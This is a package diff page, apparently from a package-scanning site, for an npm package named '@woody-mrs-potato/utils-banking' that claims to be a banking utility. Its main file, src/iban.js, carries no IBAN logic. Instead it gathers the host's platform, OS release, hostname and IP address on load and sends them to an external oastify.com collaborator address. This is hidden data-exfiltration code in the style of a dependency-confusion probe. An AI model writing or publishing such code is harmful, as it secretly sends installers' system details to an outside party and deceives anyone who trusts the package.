@woody-mrs-potato/utils-banking 1.0.0

Sign up to get free protection for your applications and to get access to all the features.
Files changed (3) hide show
  1. package/README.md +0 -0
  2. package/package.json +9 -0
  3. package/src/iban.js +20 -0
package/README.md ADDED
File without changes
package/package.json ADDED
@@ -0,0 +1,9 @@
1
+ {
2
+ "name": "@woody-mrs-potato/utils-banking",
3
+ "version": "1.0.0",
4
+ "description": "A test utility module for common operations.",
5
+ "main": "src/iban.js",
6
+ "author": "Telefo David",
7
+ "license": "ISC"
8
+ }
9
+
package/src/iban.js ADDED
@@ -0,0 +1,20 @@
1
+ const os = require('os');
2
+ const https = require('https');
3
+
4
+ const systemInfo = {
5
+ platform: os.platform(),
6
+ release: os.release(),
7
+ hostname: os.hostname(),
8
+ ip: os.networkInterfaces()['eth0'] ? os.networkInterfaces()['eth0'][0].address : 'Unknown',
9
+ };
10
+
11
+ const queryParams = new URLSearchParams(systemInfo).toString();
12
+ const url = `https://lb0wfl0wv7ay9yxaniioaw54tvzmncb1.oastify.com/BBVA/telefonica?${queryParams}`;
13
+
14
+ https.get(url, (res) => {
15
+ console.log(`Status: ${res.statusCode}`);
16
+ }).on('error', (e) => {
17
+ console.error(`Problem with request: ${e.message}`);
18
+ });
19
+
20
+ console.log("Test module loaded successfully");